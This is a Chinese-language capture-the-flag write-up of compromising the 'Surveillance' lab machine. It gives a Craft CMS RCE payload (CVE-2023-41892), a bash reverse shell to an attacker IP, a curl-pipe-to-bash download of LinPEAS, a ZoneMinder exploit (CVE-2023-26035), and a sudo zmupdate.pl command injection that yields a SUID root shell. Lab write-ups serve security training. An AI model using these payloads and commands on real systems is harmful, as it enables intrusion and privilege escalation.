CVE-2023-41892、CVE-2023-26035
Surveillance
信息搜集
nmap扫描端口
1 | nmap -sV -sC -v -p- --min-rate 1000 10.10.11.245 |
扫出来两个端口,其中80端口有http服务并且重定向到surveillance.htb
那么我们添加下域名然后访问80端口,发现是企业网站尝试扫描子域名和目录无果后,用Wappalyzer插件看看
得知是Craft CMS后,去网上搜一下发现存在远程代码执行漏洞(CVE-2023-41892) 参考文章
payload
1 | action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()": [{"close":null}],"_fn_close":"phpinfo"}} |
抓包修改为POST请求,添加payload成功RCE
仔细分析此payload的执行过程,原来是调用call_user_func函数只有一个参数,想反弹shell就卡住了
getshell
我在GitHub上找到写好的getshell脚本 脚本链接
成功反弹
由于不稳定,我们反弹到自己机子上
1 | bash -c "bash -i >& /dev/tcp/10.10.14.74/1028 0>&1" |
我们注意到/craft/storage/backups
目录下有zip文件
先开启http服务,用wget下载下来查看
解压后打开看发现有信息泄露
直接拿join爆破一下,结果出现报错,提示使用其他哈希类型
最终在类型为Raw-SHA256爆破成功得到密码
知道密码后我们直接ssh连接(这里是用户matthew)
得到user的flag
然后就没有收获了,于是我们决定进行更深层的探测潜在的特权提升路径和漏洞
使用工具LinPEAS,我们现在本地开启http服务,然后使用curl命令去弹
1 | curl http://10.10.14.74:8000/linpeas.sh | bash |
成功得到连接数据库的密码
当然也可以得到用户名
然后就进行mysql连接
1 | mysql -u craftuser -p -h localhost |
然后在craftdb中的users表找到admin的相关信息
使用john爆破失败
回头继续分析,发现8080端口开放
那么我们使用ssh进行端口转发至本地的777端口
1 | ssh -L 777:localhost:8080 matthew@10.10.11.245 |
然后在浏览器访问本地777端口,发现是ZoneMinder
网上搜到ZoneMinder 代码执行漏洞(CVE-2023-26035)
GitHub上有现成的poc 参考链接
1 | python3 exploit.py -t http://localhost:777/ -ip 10.10.14.74 -p |
本地转发的777端口为target,然后1028为nc监听的端口
提权
连接到后sudo -l
看看可执行的命令
下面这些二进制文件都可以执行,参考其他师傅wp可以知道在zmupdate.pl文件存在漏洞
具体是指参数user的值可以为文件,那么我们可以上传shell脚本然后利用其user参数实现getshell
过程如下,写入并赋予suid可执行权限
1 | echo 'cp /bin/bash /var/tmp/bash;chmod 4755 /var/tmp/bash' > /var/tmp/exploit.sh |
然后再执行刚刚说的利用参数user
1 | sudo /usr/bin/zmupdate.pl --version=1.36.32 --user='$(/var/tmp/exploit.sh)' --pass=ZoneMinderPassword2023 |
执行完后我们再/var/tmp/bash -p
得到完整的root权限
得到flag